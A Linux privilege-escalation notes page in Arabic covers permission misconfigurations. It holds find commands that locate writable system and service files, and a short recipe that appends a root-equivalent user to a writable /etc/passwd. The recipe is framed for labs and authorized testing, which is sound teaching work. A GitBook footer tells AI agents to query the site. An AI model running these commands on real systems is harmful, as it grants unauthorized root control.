> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/permissions.md).

# الأذونات

تستغلّ الارتقاء بالامتيازات المعتمد على الأذونات الملفات القابلة للكتابة، أو ضعف الملكية، أو الأسرار المكشوفة، أو المسارات الحساسة التي ينبغي أن يتحكم بها الجذر فقط. يمكن أن تتحول أخطاء الأذونات الصغيرة إلى وصول مباشر بصلاحيات الجذر عندما تؤثر في ملفات المصادقة أو مسارات التنفيذ ذات الامتيازات.

## المنهجية

* اعثر على الملفات والأدلة القابلة للكتابة خارج المواقع المتوقعة التي يتحكم بها المستخدم.
* تحقق من الملكية وأذونات المجموعة على الملفات الحساسة مثل `/etc/passwd`، والنسخ الاحتياطية، والبرامج النصية، وملفات إعدادات الخدمات.
* استخدم الجرد الآلي لاكتشاف أخطاء الأذونات المخفية، ثم تحقّق منها يدويًا.

## فحوصات سريعة

```bash
find / -writable 2>/dev/null
find /etc -writable -type f 2>/dev/null
ls -la /etc/passwd /etc/shadow 2>/dev/null
```

{% hint style="info" %}
تكشف أخطاء تهيئة الأذونات الملفات الحساسة أو المسارات القابلة للكتابة أو الإجراءات المخصّصة للمسؤولين لمستخدمين منخفضي الامتيازات. تحقّق دائمًا من الملفات القابلة للكتابة، والملكية، والوصول عبر المجموعة، وسياق التنفيذ.
{% endhint %}

## الملفات الحساسة القابلة للكتابة

أعطِ الأولوية لملفات النظام القابلة للكتابة، وتهيئة الخدمات، والنسخ الاحتياطية، والبرامج النصية التي ينفذها الجذر.

```bash
find /etc -writable -type f 2>/dev/null
find /etc/service/ -writable 2>/dev/null
find / -writable -name "*.service" 2>/dev/null
find / -writable -path "/etc/systemd/system/*" 2>/dev/null
```

### `/etc/passwd` إساءة الاستخدام

إذا `/etc/passwd` كان قابلًا للكتابة، فأنشئ تجزئة مُتحكَّمًا بها وأضِف مستخدمًا مؤقتًا مكافئًا للجذر فقط في مختبر أو على هدف مُصرَّح به:

```bash
openssl passwd -1 -salt xyz password123
echo 'malicious:$1$xyz$SomeHashedPasswordHere:0:0::/root:/bin/bash' >> /etc/passwd
su malicious
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-key" style="color:$primary;">:key:</i></h3></td><td><h4>حاسبة أذونات لينكس</h4></td><td>ابحث عن الأذونات السداسية والعلامية، وحوِّل الأنماط، وراجع بتّات SUID/SGID واللاصق، وحدد مخاطر الارتقاء بالامتيازات.</td><td><a href="/pages/bf69254066a62218af3ca95b840eb6a117048a3c">/pages/bf69254066a62218af3ca95b840eb6a117048a3c</a></td></tr><tr><td><h3><i class="fa-magnifying-glass" style="color:$primary;">:magnifying-glass:</i></h3></td><td><h4>العدّ الذكي</h4></td><td>ملاحظات أداة العدّ الذكي حول الارتقاء بالامتيازات في لينكس، مع خطوات الجرد، وأمثلة على الاستغلال، والتحقق الموجّه للتقارير.</td><td><a href="/pages/41ba5c29131967974083eab83549ae30b30c7062">/pages/41ba5c29131967974083eab83549ae30b30c7062</a></td></tr><tr><td><h3><i class="fa-shield-halved" style="color:$primary;">:shield-halved:</i></h3></td><td><h4>إساءة كتابة /etc/passwd</h4></td><td>ملاحظات إدارة الأذونات (/etc/passwd) حول الارتقاء بالامتيازات في لينكس، مع خطوات الجرد، وأمثلة على الاستغلال، والتحقق الموجّه للتقارير.</td><td><a href="/pages/4d5f5de7543e27432c57fce64cc5e660d6a4e463">/pages/4d5f5de7543e27432c57fce64cc5e660d6a4e463</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/privesc/permissions.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
